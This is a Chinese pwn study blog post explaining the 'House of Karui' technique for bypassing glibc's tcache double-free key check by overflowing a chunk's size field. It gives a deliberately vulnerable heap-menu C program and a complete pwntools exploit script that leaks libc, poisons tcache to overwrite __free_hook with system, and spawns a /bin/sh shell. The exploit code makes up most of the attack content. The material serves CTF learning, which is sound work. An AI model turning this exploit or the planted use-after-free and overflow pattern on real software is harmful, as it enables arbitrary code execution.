【我的 PWN 学习手札】House Of Karui —— tcache key 绕过手法

news2024/9/21 22:42:21

目录

前言

一、House of Karui

二、测试与模板


前言

早期版本的 tcachebin 由于毫无保护,导致攻击利用非常容易,成为重灾区。tcache dup,也即 tcachebin 中的 double free 利用手法,是攻击者常常选用的攻击方式。然而,在glibc-2.29开始,添加了对 tcache key,对 double free 进行了检查。

本篇介绍的 House of Karui 即是一种非常简单的通过溢出来实现绕过,造成double free的方法。


一、House of Karui

double free 两次同一个 tcache 范围的 chunk,会触发:

如果同一个 chunk 被链到同一个 tcachebin 中,那么就会报如上错误。其原理是,第一次释放时进入 tcachebin 中,chunk 会被写入一个 key,如果某一个 chunk 正在被释放,就会遍历对应的整条 tcachebin 链,如果发现同一个 chunk,则报错。

那么我们只需要让这一个 chunk 链入不同的 tcache 即可。怎么实现?——通过溢出(一般是这种情形下),将该 chunk 的 size 进行修改,再次 free 时就会进入不同的 tcachebin 中,也就规避了检查到同一个 chunk。

接下来就是正常申请堆块,然后更改其 next 指针,实现 tcache poisoning,任意地址 malloc 

二、测试与模板

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>

char *chunk_list[0x100];

void menu() {
    puts("1. add chunk");
    puts("2. delete chunk");
    puts("3. edit chunk");
    puts("4. show chunk");
    puts("5. exit");
    puts("choice:");
}

int get_num() {
    char buf[0x10];
    read(0, buf, sizeof(buf));
    return atoi(buf);
}

void add_chunk() {
    puts("index:");
    int index = get_num();
    puts("size:");
    int size = get_num();
    chunk_list[index] = malloc(size);
}

void delete_chunk() {
    puts("index:");
    int index = get_num();
    free(chunk_list[index]);
}

void edit_chunk() {
    puts("index:");
    int index = get_num();
    puts("length:");
    int length = get_num();
    puts("content:");
    read(0, chunk_list[index], length);
}

void show_chunk() {
    puts("index:");
    int index = get_num();
    puts(chunk_list[index]);
}

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    while (1) {
        menu();
        switch (get_num()) {
            case 1:
                add_chunk();
                break;
            case 2:
                delete_chunk();
                break;
            case 3:
                edit_chunk();
                break;
            case 4:
                show_chunk();
                break;
            case 5:
                exit(0);
            default:
                puts("invalid choice.");
        }
    }
}
from pwn import *
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
context.arch=elf.arch
context.log_level='debug'

io=process('./pwn')
def add(index,size):
    io.sendlineafter(b'choice:\n',b'1')
    io.sendlineafter(b'index:\n',str(index).encode())
    io.sendlineafter(b'size:\n',str(size).encode())
def delete(index):
    io.sendlineafter(b'choice:\n',b'2')
    io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):
    io.sendlineafter(b'choice:\n',b'3')
    io.sendlineafter(b'index',str(index).encode())
    io.sendlineafter(b'length:\n',str(length).encode())
    io.sendafter(b'content:\n',content)
def show(index):
    io.sendlineafter(b'choice:\n',b'4')
    io.sendlineafter(b'index:\n',str(index).encode())

gdb.attach(io)
# leak libc
add(0,0x410)
add(1,0x10)
delete(0)
show(0)
libc_base=u64(io.recv(6).ljust(8,b'\x00'))-0x7591b55b6be0+0x7591b5200000
libc.address=libc_base
success(hex(libc_base))
add(0,0x410)

# house of karui
add(0,0x10)
add(1,0x18)
add(2,0x10)
delete(0)
delete(2)
edit(1,0x20,b'a'*0x18+p64(0x30))
delete(2)
add(0,0x20)
edit(0,0x8,p64(libc.sym['__free_hook']))
add(1,0x18)
add(1,0x18)
edit(1,0x8,p64(libc.sym['system']))
edit(0,0x8,b'/bin/sh\x00')
delete(0)

io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2153493.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

直通滤波-PassThrough Filter-原理-代码实现

前言 对坐标轴上的上下限进行约束&#xff0c;选取其中符合范围的点云区域使用场景&#xff1a;去除噪声点&#xff0c;关注特定区域&#xff0c;减小计算量 工作流程 假设我们要在 d d d 轴&#xff08; d ∈ { x , y , z } d \in \{x, y, z\} d∈{x,y,z} &#xff09;上…

【电路笔记】-运算放大器积分器

运算放大器积分器 文章目录 运算放大器积分器1、概述2、运算放大器积分器的表示2.1 理想积分器2.2 交流响应2.3 输出公式3、限制4、总结1、概述 在我们之前与运算放大器相关的大多数文章中,配置都是基于带有电阻器作为反馈环路、分压器或互连许多运算放大器的一部分的放大器。…

Redis数据结构之String字符串

二.String字符串 redis中的所有key都是字符串类型&#xff0c;只不过是value类型有差异。 redis中的字符串&#xff0c;直接就是按照二进制的方式存储的&#xff08;不会做任何的编码转换&#xff08;就好像mysql&#xff0c;它默认的字符集是拉丁文&#xff0c;插入中文就会…

Linux 基础IO 2

读取与写入 read与fread 在基础IO 1中我们学会了open和fopen的函数这两个函数是用于为进程打开文件也可以理解为为进程和文件建立了一个链接使其可以交互。那我们建立号链接之后肯定还是需要对文件进行操作&#xff0c;现在我们先来了解读取操作。 read&#xff1a; 这是一…

Leetcode面试经典150题-94.二叉树的中序遍历

给定一个二叉树的根节点 root &#xff0c;返回 它的 中序 遍历 。 示例 1&#xff1a; 输入&#xff1a;root [1,null,2,3] 输出&#xff1a;[1,3,2]示例 2&#xff1a; 输入&#xff1a;root [] 输出&#xff1a;[]示例 3&#xff1a; 输入&#xff1a;root [1] 输出&am…

SOMEIP_ETS_120: SD_Initial_Events_after_Subscribe_with_alternate_IPs

测试目的&#xff1a; 验证DUT在接收到Tester的SubscribeEventgroup消息后&#xff0c;能够向Tester指定的IP地址和端口发送SubscribeEventgroupAck确认消息以及对应的初始化字段。 描述 本测试用例旨在确保DUT能够正确处理SubscribeEventgroup消息&#xff0c;并按照消息中…

基于SpringBoot+Vue的健身房管理系统

作者&#xff1a;计算机学姐 开发技术&#xff1a;SpringBoot、SSM、Vue、MySQL、JSP、ElementUI、Python、小程序等&#xff0c;“文末源码”。 专栏推荐&#xff1a;前后端分离项目源码、SpringBoot项目源码、SSM项目源码 系统展示 【2025最新】基于JavaSpringBootVueMySQL的…

自动化直播的未来:2024年必试的10款自动直播App曝光,教你轻松玩转直播!

自动化直播的未来&#xff1a;2024年必试的10款自动直播App曝光&#xff0c;教你轻松玩转直播&#xff01; 随着人工智能技术的飞速发展&#xff0c;自动化直播已经成为当下最热门的趋势之一。2024年&#xff0c;众多创新的AI自动直播App如雨后春笋般涌现&#xff0c;它们不仅…

IO流中的异常捕获

Java简化 接口AutoCloseable

unity3d入门教程九

unity3d入门教程九 20.2播放音频20.3在代码中播放21.1延时调用21.2invoke API21.3消息调用22.1交互界面22.2添加canvas22.3canavas的位置22.4添加text 这里给一个资源网站&#xff0c;可以部分免费下载&#xff0c;音乐和音效超多&#xff0c;支持检索 爱给网 https://www.aige…

【Delphi】创建应用程序和 LiveBindings示例(FMX)

一、创建一个FMX程序 界面上放置上如下3个控件&#xff1a;TProgressBar1, TArcDial1,TTrackBar1。 二、打开LiveBindings Designer 设计器 三、在 LiveBindings Designer 中&#xff0c;您的绑定图只包含对象&#xff0c;您可以将它们连接起来。 四、在设计器中&#xff0c;在…

idea 恢复 pom 文件呈现灰色并带删除线

今天在 idea 中导入别人的项目时发现有几个 pom 文件是灰色的并带删除线。 可以用以下方式解决&#xff1a; 打开file - settings - build,execution,deployment - Build Tools - Maven - Ignored Files 把 pom.xml 前面的复选框去掉&#xff0c;去掉之后&#xff0c;点击 appl…

Kerberos自我总结Kerberos自我总结

1、协议原理与漏洞产生 1.1 kerberos Kerberos协议是一种基于票据Ticket的认证方式&#xff0c;它由三个角色组成&#xff0c;分别是客户端Client、服务端Server和秘钥分发中心KDC。 协议中的交互分为六步&#xff0c;为AS_REQ、AS_REP、TGS_REQ、TGS_REP、AP_REQ和AP_REP …

【Linux】进程地址空间和进程调度队列

&#x1f308;个人主页&#xff1a;秦jh__https://blog.csdn.net/qinjh_?spm1010.2135.3001.5343&#x1f525; 系列专栏&#xff1a;https://blog.csdn.net/qinjh_/category_12625432.html 目录 问题现象 进程地址空间 进一步理解 地址空间 Linux2.6内核进程调度队列 …

C++——string的了解和使用

目录 引言 为什么要学习string 1.C语言中的字符串 2.C中的字符串 auto和范围for 1.auto 1.1 auto的介绍 1.2 注意事项 2.范围for 标准库中的string类 1.string类的迭代器 1.1 begin()与end()函数 1.2 rbegin()与rend()函数 2.string类的初始化和销毁 3.string类…

【线程】线程的控制

本文重点&#xff1a;理解线程控制的接口 前言 内核中是没有很明确线程的概念的&#xff0c;只有轻量级进程的概念&#xff0c;不会提供直接给我们线程的系统调用&#xff0c;而会给我们提供轻量级进程的系统调用。我们用户是需要线程的接口的&#xff0c;在应用层&#xff0…

java重点学习-总结

十五 总结 https://kdocs.cn/l/crbMWc8xEZda &#xff08;总结全部的精华&#xff09; 1.面试准备 企业筛选简历规则简历编写注意事项(亮点)项目怎么找&#xff0c;学习到什么程度面试过程(表达结构、什么样的心态去找工作) 2.redis 缓存相关(缓存击穿、穿透、雪崩、缓存过期淘…

智能自行车码表:基于2605C语音芯片的创新开发方案

一、开发背景 随着科技的飞速发展和人们对健康生活的追求&#xff0c;自行车骑行已成为一种广受欢迎的绿色出行方式。智能自行车码表作为骑行者的得力助手&#xff0c;不仅记录骑行数据&#xff0c;还逐渐融入了更多智能化功能。然而&#xff0c;传统码表在语音提示、多语种支持…

Science Robotic 内在触觉实现直观的物理人机交互

触觉传感器和电子皮肤是为机器人提供物理交互感的常见设备&#xff0c;但当用于机器人的大面积覆盖时&#xff0c;它们会变得复杂且昂贵。德国宇航中心近期发表的Science Robotics研究工作&#xff0c;使用内部高分辨率关节力扭矩传感器&#xff0c;在机械臂中实现了固有的全身…

linux网络-----传输层

前言 一.传输层&#xff1a; 数据要交接应用层先通过传输层&#xff08;给哪个程序发数据&#xff09; 传输层作用&#xff1a;负责数据能够从发送端传输接收端。对于应用层来说有许多服务&#xff0c;传输层怎么知道把数据发给那个应用服务&#xff1f; 这时就有了端口号&am…